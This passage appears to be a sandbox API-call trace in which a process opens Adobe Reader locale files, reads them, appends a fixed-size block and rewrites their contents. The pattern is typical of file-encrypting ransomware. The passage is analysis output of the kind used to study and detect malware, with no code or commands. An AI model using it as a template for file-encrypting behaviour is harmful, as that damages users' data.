nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.677] CloseHandle (hObject=0x170) returned 1 [0045.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.732] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.732] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2a00 [0045.732] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.732] ReleaseMutex (hMutex=0x128) returned 1 [0045.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NLD", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NLD", lpUsedDefaultChar=0x0) returned 11 [0045.733] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.736] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0045.736] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.741] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0045.741] WriteFile (in: hFile=0x170, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.741] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.741] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.741] CloseHandle (hObject=0x170) returned 1 [0045.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.742] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.742] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1c00 [0045.742] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.742] ReleaseMutex (hMutex=0x128) returned 1 [0045.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.POL", lpUsedDefaultChar=0x0) returned 9 [0045.742] ReadFile (in: hFile=0x170, lpBuffer=0x25c4dd8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesRead=0x304f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0045.749] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.749] WriteFile (in: hFile=0x170, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x304f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0045.750] CloseHandle (hObject=0x170) returned 1 [0045.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.751] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.751] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4800 [0045.751] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.751] ReleaseMutex (hMutex=0x128) returned 1 [0045.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.POL", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.POL", lpUsedDefaultChar=0x0) returned 13 [0045.751] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.753] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3800 [0045.753] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.753] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3800 [0045.753] WriteFile (in: hFile=0x170, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.754] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.754] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.754] CloseHandle (hObject=0x170) returned 1 [0045.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\AdobeCollabSync.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\adobecollabsync.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.755] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.755] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0045.755] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.755] ReleaseMutex (hMutex=0x128) returned 1 [0045.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0045.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.PTB", cchWideChar=19, lpMultiByteStr=0x1e78b7c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.PTB", lpUsedDefaultChar=0x0) returned 19 [0045.755] ReadFile (in: hFile=0x170, lpBuffer=0x25c6e08, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0045.857] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.857] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0045.858] CloseHandle (hObject=0x170) returned 1 [0045.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Multimedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\multimedia.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.859] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.859] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x13e00 [0045.859] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.859] ReleaseMutex (hMutex=0x128) returned 1 [0045.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0045.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x1e6320c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.PTB", lpUsedDefaultChar=0x0) returned 14 [0045.859] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.867] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12e00 [0045.867] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.891] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12e00 [0045.892] WriteFile (in: hFile=0x170, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.892] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.892] WriteFile (in: hFile=0x170, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.892] CloseHandle (hObject=0x170) returned 1 [0045.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.893] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.893] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xea [0045.893] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.893] ReleaseMutex (hMutex=0x128) returned 1 [0045.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0045.893] ReadFile (in: hFile=0x170, lpBuffer=0x2736158, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736158*, lpNumberOfBytesRead=0x304f2bc*=0xea, lpOverlapped=0x0) returned 1 [0045.894] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0045.894] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x672, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x672, lpOverlapped=0x0) returned 1 [0045.894] CloseHandle (hObject=0x170) returned 1 [0045.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DigSig.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\digsig.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.895] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.895] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x20200 [0045.895] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.895] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.895] ReleaseMutex (hMutex=0x128) returned 1 [0045.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.RUM", cchWideChar=10, lpMultiByteStr=0x1e6334c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.RUM", lpUsedDefaultChar=0x0) returned 10 [0045.896] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.902] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1f200 [0045.902] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.903] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1f200 [0045.904] WriteFile (in: hFile=0x170, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.904] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0045.904] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.904] CloseHandle (hObject=0x170) returned 1 [0045.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\ReadOutLoud.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\readoutloud.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0045.905] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.905] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2c00 [0045.905] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0045.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.905] ReleaseMutex (hMutex=0x128) returned 1 [0045.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x1e6320c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUM", lpUsedDefaultChar=0x0) returned 15 [0045.905] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.926] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0045.926] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.205] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0046.205] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.205] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0046.205] WriteFile (in: hFile=0x170, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.206] CloseHandle (hObject=0x170) returned 1 [0046.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Accessibility.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\accessibility.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.209] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.209] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xae00 [0046.209] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.209] ReleaseMutex (hMutex=0x128) returned 1 [0046.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUS", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUS", lpUsedDefaultChar=0x0) returned 17 [0046.209] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.216] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, 